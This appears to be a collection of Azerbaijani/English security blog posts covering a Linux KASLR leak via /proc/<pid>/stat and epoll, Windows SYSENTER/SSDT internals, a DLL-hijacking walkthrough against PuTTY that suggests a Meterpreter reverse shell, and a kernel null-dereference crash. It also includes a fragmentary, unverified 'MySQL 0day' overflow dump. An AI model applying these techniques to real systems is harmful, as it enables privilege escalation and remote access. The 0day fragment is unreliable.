EPOLL – process waiting for KASLR address leaking

Recently, most talked about one of  kernel vulnerabilities is a KASLR exposed vulnerability that allows us to defeat KERNEL address space randomization mitigation and we can take the KASLR address.

TIMELINE:

Linux KERNEL has a nice feature that wchan (wait channel) on ‘proc’ filesystem indicates where the process is sleeping.

Reference:

WCHAN wait channel. The address of an event on which a particular process is waiting. Abbreviation appears in output of ps command with -l option.

We can use /proc filesystem to read wchan value:

root@ubuntu:~# cat /proc/2401/wchan 
ep_poll

This wchan value was returned to me as function name. But we need to the virtual address of the kernel. Address of the virtual address can be obtained from ‘stat’ file: 

root@ubuntu:~# cat /proc/2401/stat 
2401 (epoll-example) S 2079 2401 1037 34816 2401 4202496 192 0 0 0 0 0 0 0 20 0 1 0 1599993 1826816 121 4294967295 134512640 134517128 3217578304 3217576436 3077821488 0 0 0 0 3223617913 0 0 17 0 0 0 0 0 0

This decimal value will tell us where the process code is waiting.
>>> hex(3223617913)
‘0xc0248179’
Unlike other techniques (sleeping fork process) may be use linux kernel feature EPOLL events for process make sleep.
epoll is a Linux kernel system call, a scalable I/O event notification mechanism, first introduced in Linux kernel 2.5.44.[1] It is meant to replace the older POSIX select(2) and poll(2) system calls, to achieve better performance in more demanding applications, where the number of watched file descriptors is large (unlike the older system calls, which operate in O(n) time,epoll operates in O(1) time[2]). epoll is similar to FreeBSD‘s kqueue, in that it operates on a configurable kernel object, exposed to user space as a file descriptor of its own.
We can use epoll_wait syscall for waiting process:
epoll_wait, epoll_pwait – wait for an I/O event on an epoll file descriptor
  /* The event loop */
  while (1)
    {
      int n, i;
 
      n = epoll_wait (efd, events, MAXEVENTS, -1); 

 

The epoll_wait() system call waits for events on the epoll(7) instance referred to by the file descriptor epfd. The memory area pointed to by events will contain the events that will be available for the caller.
root@ubuntu:~# cat /proc/2463/stack
[<c0248179>] ep_poll+0x119/0x200
[<c02482fa>] sys_epoll_wait+0x9a/0xb0

Since process was waiting state due to epoll_wait():
 
cat /proc/2463/wchan 
ep_poll
leak address:
root@ubuntu:~# printf “%016lx\n” $(cat /proc/2477/stat | cut -d’ ‘ -f35)
00000000c0248179
Using such techniques can be easily obtain ROP gadgets.
Advertisements

0xFFF – kernel mode SYSCALL

Hal hazırda yazdığım kernelin üzərində işləyirəm… Demək normal halda OS üzərində System call mexanizmini NT Kernel tərzində SSDT – SSDTS bənzəri etdim birinci fikirləşdim ki, standart IRQ (interrupt request) göndərərək –  Trap handler vasitəsi ilə (int 0x2e) birbaşa KiSystemService dispatcher çağırmaq ancaq sonra qərarımdan döndüm çünki SYSENTER/SYSEXIT instruction-larından istifadə etməyə qərar verdim və maraqlanmağa başladım.

SYSENTER/SYSEXIT Interrupt çoxluqundan qaçınmaq üçün hazırlanmış Syscall based instruction-dır.

NT architecture native api istifadə zamanı Zw və Nt prefixlərindən istifadə edir. Windows OS privilige level yoxlanılması üçün previous mode istifadə edir. Belə ki, previous mode dəyəri (user or kernel) hər dəfə trap handling icra edildiyində kernel `thread` içində  bunu saxlayır və daxil olan exception,trap,syscall imtiyaz səviyyəsini yoxlayır. Əgər system call kernel driver tərəfindən gəlirsə `probing` və `capturing` prosessləri ötülür. Həmçinin bu native APİ üçün interrupt və yaxud sysenter ehtiyyac yoxdur çünki CPU artıq doğru privilige level-dədir. NTDLL modulu tərəfindən NT və Zw prefixləri altında funksiyalar export edilir. Yalnız əgər birbaşa NtCreateFile (Native APİ) kernel mode address çağrılarsa previous mode bu əməliyyatı sonlandırar.

User mode application-lar NTDLL.LIB ilə `link` edildikdə System servis dispatcher vasitəsi ilə Kernel mode (context switching – mode transition) keçid edilir. Ümumiyyətlə NT kernel `System servic call stub` üçün ayrıca instruction `hardcode` əvəzinə bunu shared strukturada saxlayır (KUSER_SHARED_DATA).

_KUSER_SHARED_DATA+(0x300) offsetində yerləşir System servis çağırıcısı

0:001> dt ntdll!_KUSER_SHARED_DATA

+0x000 TickCountLowDeprecated : Uint4B

+0x004 TickCountMultiplier : Uint4B

+0x008 InterruptTime    : _KSYSTEM_TIME

[…]

+0x300 SystemCall       : Uint4B <========

+0x304 SystemCallReturn : Uint4B

+0x308 SystemCallPad    : [3] Uint8B

[…]

WINDOWS Əməliyyat sistemi üzərində bu Structure (_KUSER_SHARED_DATA) statik adrese sahibdir = 0x7FFE0000.

0: kd> u ntdll!NtReadFile

ntdll!NtReadFile:

77f761e8 b8b7000000       mov     eax,0xb7

77f761ed ba0003fe7f       mov     edx,0x7ffe0300 <=====

77f761f2 ffd2             call    edx

77f761f4 c22400           ret     0x24

lkd> u poi(0x7ffe0300)

ntdll!KiFastSystemCall:

770b64f0 8bd4            mov     edx,esp

770b64f2 0f34            sysenter <========

ntdll!KiFastSystemCallRet:

770b64f4 c3              ret

770b64f5 8da42400000000  lea     esp,[esp]

770b64fc 8d642400        lea     esp,[esp]

ntdll!KiIntSystemCall:

770b6500 8d542408        lea     edx,[esp+8]

770b6504 cd2e            int     2Eh

770b6506 c3              ret

Win7 üzərində system call dispatcher olaraq sysenter istifadə edildiyini gördük.

sysenter instruction-dan danışım: CPL = 0 (privilige level 0) olan system prosedurlarını və rutinlərini sürətli çağırışını təmin edir. Bu instruction CPL = 0 (privilige level 0) üzərində olan əməliyyat sistemi və yaxud icrad edici prosedurların CPL = 3 (privilige level 3) üzərində çalışdırmaq üçün maksimum performans təşkil edir.

SYSENTER instruction icra edilmədən öncə, proqram təminatı privilige level 0 (CPL 0) code segment və code entry point təyin etməlidir, və privilige level 0 stack segment və stack pointer təyin etmək gərəktir.

intel ref:

•IA32_SYSENTER_CS — Contains a 32-bit value, of which the lower 16 bits are the segment selector for the privilege level 0 code segment. This value is also used to compute the segment selector of the privilege level 0 stack segment.

•IA32_SYSENTER_EIP — Contains the 32-bit offset into the privilege level 0 code segment to the first instruction of the selected operating procedure or routine.

•IA32_SYSENTER_ESP — Contains the 32-bit stack pointer for the privilege level 0 stack.These MSRs can be read from and written to using RDMSR/WRMSR. Register addresses are listed in Table 4-17. The addresses are defined to remain fixed for future Intel 64 and IA-32 processors.

[öz hazırladıqım kernel üzərində İVT 0x2e qeyd etmişim vector onu ləğv edərək `MSR` register daxilində dispatcher funksiya adresini qeyd etdim.]

İnterrupt və yaxud Exception generasiya edildiyində, (context switching) prosessor maşının cari vəziyyətini kernel steki üzərində saxlayır ki, interrupt icra edildikdən sonra proqram axışı cari nöqtəyə qayıdaraq icra davam etsin. Əgər thread istifadəçi modunda çalışırsa, OS threadi kernel moda keçirtmək istərsə. O zaman OS kernel stekdə trap frame yaradaraq onun üzərinə cari thread vəziyyətini (thread state) qeyd edir.

lkd> dt nt!_ktrap_frame

+0x000 DbgEbp           : Uint4B

+0x004 DbgEip           : Uint4B

+0x008 DbgArgMark       : Uint4B

+0x00c DbgArgPointer    : Uint4B

+0x010 TempSegCs        : Uint2B

+0x012 Logging          : UChar

+0x013 Reserved         : UChar

+0x014 TempEsp          : Uint4B

+0x018 Dr0              : Uint4B

+0x01c Dr1              : Uint4B

+0x020 Dr2              : Uint4B

+0x024 Dr3              : Uint4B

+0x028 Dr6              : Uint4B

+0x02c Dr7              : Uint4B

+0x030 SegGs            : Uint4B

+0x034 SegEs            : Uint4B

+0x038 SegDs            : Uint4B

+0x03c Edx              : Uint4B

+0x040 Ecx              : Uint4B

+0x044 Eax              : Uint4B

+0x048 PreviousPreviousMode : Uint4B

+0x04c ExceptionList    : Ptr32 _EXCEPTION_REGISTRATION_RECORD

+0x050 SegFs            : Uint4B

+0x054 Edi              : Uint4B

+0x058 Esi              : Uint4B

+0x05c Ebx              : Uint4B

+0x060 Ebp              : Uint4B

+0x064 ErrCode          : Uint4B

+0x068 Eip              : Uint4B

+0x06c SegCs            : Uint4B

+0x070 EFlags           : Uint4B

+0x074 HardwareEsp      : Uint4B

+0x078 HardwareSegSs    : Uint4B

+0x07c V86Es            : Uint4B

+0x080 V86Ds            : Uint4B

+0x084 V86Fs            : Uint4B

+0x088 V86Gs            : Uint4B

KiFastCallEntry iki əməliyyatı yerinə yetirir.

1. trap frame yaradaraq user moda döndükdə lazım olacaq bütün informasiyaları saxlayır.

2. `System service descriptor table` üzərində  sistem servis funksiyasını taparaq çağırır.
`MSR` (model-specific register) register-nə baxaq

IA32_SYSENTER_EIP (0x176) – The kernel’s EIP for SYSENTER. This is the address of your SYSENTER entry point.
0: kd> rdmsr 176msr[176] = 00000000`8053a270

0: kd> ln 8053a270

(8053a270)   nt!KiFastCallEntry   |  (8053a2fb)   nt!KiSystemService

 

nt!KiFastCallEntry:

b923000000      mov     ecx,23h

6a30            push    30h

0fa1            pop     fs

8ed9            mov     ds,cx

8ec1            mov     es,cx

648b0d40000000  mov     ecx,dword ptr fs:[40h]

8b6104          mov     esp,dword ptr [ecx+4]

6a23            push    23h

52              push    edx

9c              pushfd

6a02            push    2

83c208          add     edx,8

9d              popfd

804c240102      or      byte ptr [esp+1],2

6a1b            push    1Bh

ff350403dfff    push    dword ptr ds:[0FFDF0304h]

6a00            push    0

55              push    ebp

53              push    ebx

56              push    esi

57              push    edi

648b1d1c000000  mov     ebx,dword ptr fs:[1Ch]

6a3b            push    3Bh

8bb324010000    mov     esi,dword ptr [ebx+124h]

ff33            push    dword ptr [ebx]

c703ffffffff    mov     dword ptr [ebx],0FFFFFFFFh

8b6e28          mov     ebp,dword ptr [esi+28h]

6a01            push    1

83ec48          sub     esp,48h

81ed9c020000    sub     ebp,29Ch

c6863a01000001  mov     byte ptr [esi+13Ah],1

3bec            cmp     ebp,esp

7597            jne     nt!KiFastCallEntry2+0x49 (82e7a2fb)

 

Kitay dostlarımdan super məlumat taparaq ingiliscəyə tərcümə etmişəm Azərbaycan dilində tərcümə çox çətin olduğundan.

 // When a thread executes in kernel mode data segment selector is 23h

// When a thread executes in kernel mode, loaded in the FS register is to select the sub-30,

// Structure for addressing PCR 804de6f0 mov ecx, 23h

804de6f5 push 30h

804de6f7 pop fs

 // 23h-> ds; 23h-> es

804de6f9 mov ds, cx

804de6fb mov es, cx

 // Dword ptr fs: [40h] == dword ptr ds: [0FFDFF040h] {TSS}

// Dword ptr [ecx + 4] for the current thread’s kernel-mode stack pointer value 804de6fd mov ecx, dword ptr ds: [0FFDFF040h]

804de703 mov esp, dword ptr [ecx + 4]

 // ==========================================

// The current (the value of the registers before execution Sysenter) pushed onto the system stack context,

 // _KTRAP_FRAME.HardwareSegSs

804de706 push 23h

 // _KTRAP_FRAME.HardwareEsp

804de708 push edx

 // _KTRAP_FRAME.EFags

804de709 pushfd

804de70a push 2

804de70c add edx, 8

 // EFlags = 2

804de70f popfd

804de710 or byte ptr [esp + 1], 2

 // _KTRAP_FRAME.SegCs

804de715 push 1Bh

 // Ds: [0FFDF0304h] is SystemCallReturn (_KUser_Shared_Data)

// _KTRAP_FRAME.Eip

804de717 push dword ptr ds: [0FFDF0304h]

 //_KTRAP_FRAME.ErrorCode

804de71d push 0

 //_KTRAP_FRAME.Ebp

804de71f push ebp

 //_KTRAP_FRAME.Ebx

804de720 push ebx

 //_KTRAP_FRAME.Esi

804de721 push esi

 //_KTRAP_FRAME.Edi

804de722 push edi

//ebx<-_KPCR.SelfPcr804de723 mov ebx, dword ptr ds: [0FFDFF01Ch]

 // _KTRAP_FRAME.SegFs

804de729 push 3Bh

 //esi=_KPCR.PrcbData.CurrentThread

804de72b mov esi, dword ptr [ebx + 124h]

 //_KTRAP_FRAME.ExceptionList

804de731 push dword ptr [ebx]

// Initialization list 804de733 mov dword ptr [ebx], 0FFFFFFFFh

 // Ebp = KPCR.PrcbData.CurrentThread. InitialStack

804de739 mov ebp, dword ptr [esi + 18h]

 //_KTRAP_FRAME.PreviousPreviousMode = 1

804de73c push 1

 // Esp -> _ KTRAP_FRAME

804de73e sub esp, 48h

 // Ebp -> _ KTRAP_FRAME

804de741 sub ebp, 29Ch

 // CurrentThread +124 = 1

804de747 mov byte ptr [esi + 140h], 1

 // Compare 804de74e cmp ebp, esp

// Not equal, the occurrence of abnormal 804de750 jne nt! KiFastCallEntry2 + 0x24 (804de6c8)

 // _KTRAP_FRAME.Dr7 = 0

804de756 and dword ptr [ebp + 2Ch], 0

 // [Esi + 2Ch] is KTHREAD.DebugActive current thread // debug flag is not equal to 0xFF indicates debugging?

804de75a test byte ptr [esi + 2Ch], 0FFh

804de75e mov dword ptr [esi + 134h], ebp

804de764 jne nt! Dr_FastCallDrSave (804de5b0)

// Ebx = _KTRAP_FRAME.Ebp804de76a mov ebx, dword ptr [ebp + 60h]

 // Edi = _KTRAP_FRAME.EIP

804de76d mov edi, dword ptr [ebp + 68h]

 // _KTRAP_FRAME.DbgArgPointer

804de770 mov dword ptr [ebp + 0Ch], edx

 // _KTRAP_FRAME.DbgArgPointer = DbgArgMark

804de773 mov dword ptr [ebp + 8], 0BADB0D00h

 //_KTRAP_FRAME.DbgEbp

804de77a mov dword ptr [ebp], ebx

 //_KTRAP_FRAME.DbgEip = _KTRAP_FRAME.EIP

804de77d mov dword ptr [ebp + 4], edi

// ==================================

Doğru System Descriptor Table tapmaq üçün KiFastCallEntry daxilində bəzi hesablama əməliyyatları aparılır.

mov ecx,23h

mov ds,cx //load the new ds

mov ebx,dword ptr ds:[0FFDFF01Ch] //EBX=KPCR.SelfPcr, ie, KPCR itself

mov esi,dword ptr [ebx+124h] //ESI=KTHREAD

mov edi,eax //EDI=system service number

shr edi,8

mov     ecx, edi ; ecx now has the actual index for the SSDT

and edi,30h //EDI=SSDT index

add edi,dword ptr [esi+0E0h] //EDI=SSDT

mov edi,dword ptr [edi] //EDI=SSDT->ServiceTableBase

mov ebx,dword ptr [edi+eax*4] //EBX=service function address

Kernel Process Control BLOCK teqdim ediremmm

typedef struct _KPCR

{

union

{

NT_TIB NtTib;

struct

{

PEXCEPTION_REGISTRATION_RECORD Used_ExceptionList;

PVOID Used_StackBase;

PVOID Spare2;

PVOID TssCopy;

ULONG ContextSwitches;

ULONG SetMemberCopy;

PVOID Used_Self;

};

};

PKPCR SelfPcr;

PKPRCB Prcb;

UCHAR Irql;

ULONG IRR;

ULONG IrrActive;

ULONG IDR;

PVOID KdVersionBlock;

PKIDTENTRY IDT;

PKGDTENTRY GDT;

PKTSS TSS;

WORD MajorVersion;

WORD MinorVersion;

ULONG SetMember;

ULONG StallScaleFactor;

UCHAR SpareUnused;

UCHAR Number;

UCHAR Spare0;

UCHAR SecondLevelCacheAssociativity;

ULONG VdmAlert;

ULONG KernelReserved[14];

ULONG SecondLevelCacheSize;

ULONG HalReserved[16];

ULONG InterruptMode;

UCHAR Spare1;

ULONG KernelReserved2[17];

KPRCB PrcbData;

} KPCR, *PKPCR;

on  = typedef struct _KTHREAD

PVOID ServiceTable;
e.g

mov eax,0x102

102 – ci sistem servis nömrəsinə məxsus funksiya = NtReadFile

         lkd> ln poi(KiServiceTable + 102 * 4)

(82193023)   nt!NtReadFile

32 bit register üzərindəki (eax) sistem servis nömrəsi bu parçalardan ibarətdir:

bit 0-11: sistem servis nömrəsi çağırış üçün

bit 12-13: service descriptor table üçün istifadə edilir

bit 13-31: istifadə edilmir

Keçək dəfə mövzuda bəhs etmişdim Win iki System Descriptor Table istifadə etdiyindən.

KeServiceDescriptorTableShadow

——————————

KeServiceDescriptorTable

sistem servis nömrələrdindən 0x0-0xFFF aralıqında bütün nömrələr KeServiceDescriptorTable indexləri  olaraq istifadə edilir.

0x1000-0x1FFF aralıqları isə KeServiceDescriptorTableShadow indexləri olaraq istifadə edilir.

SSN(SYSTEM SERVİCE NUMBER) – SSDT (System Descriptor Table)

eax = 0x100F

mov edi,eax //EDI=system service number

shr edi,8 // edi>>0x8 = 10h = shifting rulezzz

and 0x10,0x30 = (0x10)d = (10000)b & (110000)b = (10000)b = (0x10)d

nt!KiFastCallEntry+0xaf:82e7a3af 83f910          cmp     ecx,10h

82e7a3b2 751a            jne     nt!KiFastCallEntry+0xce (82e7a3ce)

Burada check edir SSDT table yoxsa Shadow Table olduqunu.

ecx = 10 olarsa Shadow Table qeyd edilir əks halda SSDT regular table.

 

 

DLL Hijacking təməlləri

Dll Hijack texnikası

 

Salam dostlar. Bu gün sizə məşhur texnikalardan biri olan Dll Hijack-dan danışmaq istəyirəm. Mövzuya girməmişdən əvvəl gəlin anlayaq nədir bu DLL?

DLL- Dynamic Linking library (Dinamik birləşdirilən kitabxana) Windows  ƏS-də kodun paylaşılması üçün istifadə olunur. Bu da kodun daha modular olmasına kömək edir. Executable fayl .dll faylını LoadLibrary() funksiyası ilə load edir və GetProcAddress() ilə DLL içindəki lazimi funksiyanın adresini taparaq çağırır. DLL-in ümumi strukturu aşağıdakı şəkildə göstərilib:

1-dll-structure

Biz DLL hijack üçün aşağıdakı kodu istifadə edəcəyik. Kod exploit-db.com saytından example kimi götürülüb. ( https://www.exploit-db.com/exploits/14789/ )

2-dll-code

Əvvəla anlayaq görək EXE fayl bu dll faylları hardan axtarmağa çalışır? MSDN baxsaq orda bu ardıcıllıq göstərilib ( http://msdn.microsoft.com/en-us/library/windows/desktop/ms682586(v=vs.85).aspx ) :

3-search

Şəkildə  göründüyü kimi DLL-lər əvvəl App yüklənən qovluqda sonra da cari qovluqda axtarılmağa başdıyır. Hə nə olsun? Deyim bilin. Əgər biz App-in yükləmək istəyibdə yükləyə bilmədiyi DLLi öz zərərli DLL-imizlə dəyişsək və ya axtardığı DLL pathı bizim qoyduğumuz DLL pathından aşağıda olsa o zaman GAME OVER olacaq. Nə dediyimi biraz sonra anlayacaqsız 🙂

Əgər SafeDllSearchMode aktiv edilibsə o zaman ardıcıllıq dəyişir:

4-search2

Şəkildən göründüyü kimi cari qovluğun axtarılma sırası ən aşağılardadı. Bu funksionallıq DLL hijack yayğın olmağa başlayanda ortaya Hijack prosesinin qabağını almaq üçün çıxarmışdılar. Müəyyən səviyədə qabağını alsa da bu həmişə alır demək deyil 🙂

DLL hijack texnikasını bu dəfə məşhur SSH clienti olan PuttY üzərində yoxlayacayıq. (Qeyd: PuttY nin bütün versiyaları vulnerable-di).

Bizə Sysinternals Suite lazım olacaq. Daha doğrusu həmin suitdə  olan ProcMon. Procmonu açırıq və ardıyca PuTTY.exe açırıq. Daha sonra filter tətbiq edərək bizə lazım olanları saxlayırıq:

5-procmon_filter

Bizə əsas Nəticəsi “NAME NOT FOUND” olanları tapmaqdı. Hansı ki biz həmin DLL-ləri öz zərərli DLL-lərimizlə dəyişəcəyik.

6-procmon_2

 

Burada necə deyərlər “Trail and Error”  yanaşması ilə gedəcəyik. Mümkün bütün halları yoxlayıb harda daha yaxşı nəticə alınır yoxlayacayıq.

Məsələn elə DWMAPI.DLL götürək. Bayaq sizə verdiyim source kodu DLL kimi kompliyasiya edin və adını dwmapi.dll qoyaraq PuTTY.exe ilə eyni qovluğa atın. Daha sonra əgər PuTTY.exe girsəz Dll hijack olunduğunu görərsiz 🙂

7-hijacked3

 

Bunun nəticəsi çox ağır ola bilər . Məsələn Metasploitin Meterpreterini .dll kimi buna vursaq reverse shell almış olacıyıq )) və Game Over olacaq))

Bu DLL hijackingin dinamik analizi ilə tapılması idi. Bəzən İDA istifadə etməklə statik şəkildə tapmaq

məcburiyətində qalırıq. Gələn səfərki yazıda DLL hijack ilə Privilege Escalation dan danışacayıq.

//Hayat bazen cok Ajda Pekkan

Linux kernel < 3.5 *Null Pointer Dereference*

Null pointer dereference -_-
affected version: < 3.5 linux kernel

4R!F,CAMOUFL4G3,EMINGH @Azdefacers


`bu nömrəyə zəng çatmır telefon ya söndürülüb yada əhatə dairəsi xaricindədir xahiş edirik biraz sonra zəng edəsiniz`

[ 2674.778679] Pid: 715, comm: ebana-qaşqaldağ Not tainted 3.5.0-18-generic
[ 2674.779165] EIP: 0060:[<f837f3d5>] EFLAGS: 00010286 CPU: 0
[ 2674.779673] EIP is at 0xf837f3d5+0x215/*** [******]
[ 2674.779977] EAX: f6088cc0 EBX: f63a7e14 ECX: f6088cd8 EDX: 00000000
[ 2674.780284] ESI: 00000000 EDI: f63a6000 EBP: f63a7d20 ESP: f63a7c84
[ 2674.780634] DS: 007b ES: 007b FS: 00d8 GS: 00e0 SS: 0068
[ 2674.780957] Process ebana-qaşqaldağ (pid: 715, ti=f63a6000 task=f58b58d0 task.ti=f63a6000)
[ 2674.781380] Stack:
[ 2674.781849] f63a7cf8 00000080 f635e000 f63a7cec 00000008 f635e000 00000080 f63a7cf4
[ 2674.782996] <0> 00000080 00000000 f63a7ccc f63a7e14 f63a7f1c 00092cd8 f6263600 00000000
[ 2674.784357] <0> f63a6000 00000088 f63a7c90 c02193b6 00000002 00000000 00000000 f63a7cec


[ 2674.773316] BUG: unable to handle kernel NULL pointer dereference at 00000008
[ 2674.800483] EIP: [<f837f3d5>] 0xf837f3d5+0x215/*** [*****] SS:ESP 0068:f63a7c84

root@ubuntu:~# gdb -c /proc/kcore 
[New <main task>]
Core was generated by `BOOT_IMAGE=/boot/vmlinuz-2.6.35-22-generic root=UUID=2165eadf-1277-4482-98e0-5fb'.
#0 0x00000000 in ?? ()

 0xf837f3d5: mov edx,DWORD PTR [esi+0x8] <======= null pointer dereference
 0xf837f3d8: mov DWORD PTR [ecx+0x18],0x4e2
 0xf837f3df: mov DWORD PTR [ecx+0xc],edx
 0xf837f3e2: mov edx,DWORD PTR ds:0xc07c5a40
 0xf837f3e8: mov DWORD PTR [ecx+0x1c],edx
 0xf837f3eb: mov edx,DWORD PTR ds:0xf8380cc4
 0xf837f3f1: mov DWORD PTR [ebp-0x30],edx
 0xf837f3f4: mov DWORD PTR [ecx+0x14],edx
 0xf837f3f7: add edx,0x1
 0xf837f3fa: mov DWORD PTR ds:0xf8380cc4,edx
 0xf837f400: mov edx,DWORD PTR [esi]
 0xf837f402: mov DWORD PTR [eax+0x18],edx
 0xf837f405: mov edx,DWORD PTR [esi+0x4]
 0xf837f408: mov DWORD PTR [ecx+0x4],edx
 0xf837f40b: mov edx,DWORD PTR [esi+0x8]
 0xf837f40e: mov DWORD PTR [ecx+0x8],edx
 0xf837f411: mov edx,eax
 0xf837f413: mov eax,0xf8380cc8
 0xf837f418: call 0xc04ec3c0
 0xf837f41d: mov edi,DWORD PTR [ebp-0x54]

MySQL 5.26 0day `overrun` – `overflow` :O

\w000t/-Program received signal SIGSEGV, Segmentation fault/


Dump of assembler code for function ***************:
0x004d5370 <******+0>:	push   ebp
0x004d5371 <******+1>:	mov    ebp,esp
0x004d5373 <******+3>:	push   esi
0x004d5374 <******+4>:	mov    esi,DWORD PTR [ebp+0x8]
0x004d5377 <******+7>:	mov    eax,DWORD PTR [ebp+0xc]
0x004d537a <******+10>:	mov    ecx,esi
0x004d537c <******+12>:	sub    ecx,eax
0x004d537e <******+14>:	mov    edx,eax
0x004d5380 <******+16>:	movzx  eax,BYTE PTR [edx] <=== one byte '41' move to eax register 
0x004d5383 <******+19>:	mov    BYTE PTR [edx+ecx*1],al <=== that 'al' (low bit)
0x004d5386 <******+22>:	add    edx,0x1 
0x004d5389 <******+25>:	test   al,al
0x004d538b <******+27>:	jne    0x4d5380 <************+16>
0x004d5390 <******+32>:	pop    ebp <======= shellcode addr (restore frame pointer) spawned rop gadget:)
0x004d5391 <******+33>:	ret        < ================= desc1
End of assembler dump.
(gdb) x/x $ebp
0xffffbbc8:	0xffffcc58 < ==== shellcode addr (gdb) x/x $esp 0xffffbbc4: 0xffffce58 (gdb) x/x 0xffffce58 0xffffce58: 0x41414141 current IP === >  eip            0x4d538d	0x4d538d <***********+27>

desc1 
MOV EBP, [ESP]
ADD ESP, 4  ---- $esp == shellcode addr

snippet reg === > 

eax            0x41414141	-14742751
ecx            0xe0b90f	14727439
edx            0x41414141	-14742751
ebx            0x828536c	136860524
esp            0xffffbbc4	0xffffbbc4
ebp            0xffffbbc8	0xffffbbc8
esi            0xffffc430	-15312

after 

(gdb) info r
eax            0xff1f0b21	-14742751
ecx            0xe0b90f	14727439
edx            0xff1f0b21	-14742751
ebx            0x828536c	136860524
esp            0xffffbbc4	0xffffbbc4
ebp            0xffffbbc8	0xffffbbc8
esi            0xffffc430	-15312
edi            0x1	1
eip            0x4d5380	0x4d5380 <*********+***>
eflags         0x10216	[ PF AF IF RF ]
cs             0x23	35
ss             0x2b	43
ds             0x2b	43
es             0x2b	43
fs             0x0	0
gs             0x63	99

gadget === > 

00465000-005bb000 r-xp <== executabe 00000000 fd:00 18087950                           /lib/libc-2.5.so
Size:              1368 kB
Rss:                348 kB
Shared_Clean:         0 kB
Shared_Dirty:         0 kB
Private_Clean:      348 kB
Private_Dirty:        0 kB
Swap:                 0 kB
Pss:                348 kB


08048000-08284000 r-xp 00000000 fd:00 48595178                           /root/mysql-5.6.26-linux-glibc2.5-i686/bin/mysql ****************
Size:              2288 kB
Rss:                 84 kB
Shared_Clean:         0 kB
Shared_Dirty:         0 kB
Private_Clean:       84 kB
Private_Dirty:        0 kB
Swap:                 0 kB
Pss:                 84 kB


Unicorn CPU Emulator Framework

unicorn

CPU Emulator ?

– fiziki CPU təqlid edir (emulate)
– real CPU ehtiyyac olmadan direktivləri icra edir (birçox arxitektura dəstəkləyir)
– malware kodlarını təhlükəsiz analiz etmək
– code semantics based analiz 😎

CPU Emulator daxili
Verilmiş giriş kodu (input code) binary formasında (instruction encode) olur. Binary forması ayrı ayrılıqda instruction formasına decode edilir. İnstruction set haqqında irəlidəki məqalələrdə ətraflı danışacam. Daha sonra verilmiş direktivlərə uyğun əməliyyatlar həyata keçirilir (İ/O, Memory access, conduct of operations with CPU Context) Qısa misal verirəm:

50 —> push eax
– eax register-i yüklənir
– eax register-nin dəyəri stack-in üzərinə kopylanır

Həmçinin onuda qeyd edimki multi arxitektura özəlliyi ARM,x86,ARM64,PowerPC,MIPS kimi arxitekturaları dəstəkləyir buda o deməkdir ki multi platformalarıda həmçinin reverse etmək imkanımız olacaq 😎 (*nix,Windows,Android,iOS etc..). Bunun üçün bizə müxtəlif İnstruction set architecture qaynaqları lazım olacaq.

for e.g instruction set format verirəm )

+----------+--------+--------+-----+--------------+-----------+
| prefixes | opcode | modR/M | sib | displacement | immediate |
+----------+--------+--------+-----+--------------+-----------+

Unicorn framework müxtəlif dillərlə birləşdirilə bilir (Python,Java,GO). Unicorn QEMU emulator istifadə edərək direktivləri icra edir. JIT compiler və interpreter istifadə etdiyinə görədə yaxşı performansa sahibdir.

QEMU arch

++++++++++++++++        ++++++++++++++++        ++++++++++++++++       
| CPU emulation|        |              |        |   Peripheral |
|      JIT     |------ >| I/O interface|------ >|   Model&     |
|      MMU     |        |              |        |   Memory     |
++++++++++++++++        |+++++++++++++++        +++++++++++++++|
                                                       ^
+++++++++++++++                                        |
|             |                                        |
| Flow control| ---------------------------------------|
|             |
+++++++++++++++

QEMU yalnız CPU təqlid (emulate) etmir həmçinin müxtəlif avadanlıq modellerini və ROM/BİOS tam olaraq emulate edə bilir. QEMU kod bazasının çox böyük və qarışıq olduğu qəbul edilir. Unicorn isə əksinə yalnız CPU təqlid edir. Unicorn həmçinin
– Step-by-step execution
Danışım İnstruction step mövzusundan
İnstruction step müəyyən əmri bir step-də icra edərək funksiyanın necə işləməsini təyin edə bilir. Bu yolla biz proqram axışını izləyə bilər və yaxud proqram təminatındakı variable dəyərinin doğru olub olmamasını bir addımda müəyyənləşdirə bilərik.
–     Memory access
–     Emulate sırasında dinamik olaraq yaddaşa yazmaq və yaxud oxumaq
–     Exception, Syscall, interrrupt idarə etmək

 

Unicorn dokumentasiyasından reference verirəm (Unicorn API)

Clean/simple/lightweight/intuitive architecture-neutral API.
– The core provides API in C
–   start & stop emulation (based on end-address, time or instructions count)
–   read & write   memory
–   read & write registers
– memory management: hook memory events, dynamically map memory at runtime
–   hook memory events for invalid memory access
–   dynamically map memory at runtime (handle invalid/missing memory)

Bu core altında Python bindings özəlliyidə mövcuddur.

Screenshot 2015-10-18 17.59.57

 

 

Linux Killing processes

Creating-Monitoring-and-Killing-Processes-in-Linux
Linuxda running prosesslərə baxmaq üçün

ps -aux istifadə edirik

[root@localhost Desktop] ps -aux
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.4 141528 4508 ? Ss Okt15 0:04 /usr/lib/system
root 2 0.0 0.0 0 0 ? S Okt15 0:00 [kthreadd]
root 3 0.0 0.0 0 0 ? S Okt15 0:00 [ksoftirqd/0]
root 5 0.0 0.0 0 0 ? S< Okt15 0:00 [kworker/0:0H]
root 6 0.0 0.0 0 0 ? S Okt15 0:01 [kworker/u2:0]
root 7 0.0 0.0 0 0 ? S Okt15 0:00 [migration/0]
root 8 0.0 0.0 0 0 ? S Okt15 0:00 [rcu_bh]
root 9 0.0 0.0 0 0 ? S Okt15 0:00 [rcuob/0]
root 10 0.0 0.0 0 0 ? S Okt15 0:14 [rcu_sched]
root 11 0.0 0.0 0 0 ? R Okt15 0:34 [rcuos/0]
root 12 0.0 0.0 0 0 ? S Okt15 0:01 [watchdog/0]
root 13 0.0 0.0 0 0 ? S< Okt15 0:00 [khelper]
root 14 0.0 0.0 0 0 ? S Okt15 0:00 [kdevtmpfs]
root 15 0.0 0.0 0 0 ? S< Okt15 0:00 [netns]

və yaxud terminala top və ya təkmilləşdirilmiş htop yazıb baxmaq olar

[root@localhost Desktop] yum install htop
Loaded plugins: fastestmirror, langpacks
base | 3.6 kB 00:00 
epel/x86_64/metalink | 5.3 kB 00:00 
epel | 4.3 kB 00:00 
extras | 3.4 kB 00:00 
mysql-connectors-community | 2.5 kB 00:00 
mysql-tools-community | 2.5 kB 00:00 
mysql56-community | 2.5 kB 00:00 
updates | 3.4 kB 00:00 
(1/3): epel/x86_64/group_gz | 169 kB 00:03 
(2/3): epel/x86_64/updateinfo | 369 kB 00:03 
(3/3): epel/x86_64/primary_db | 3.6 MB 00:22 
Determining fastest mirrors
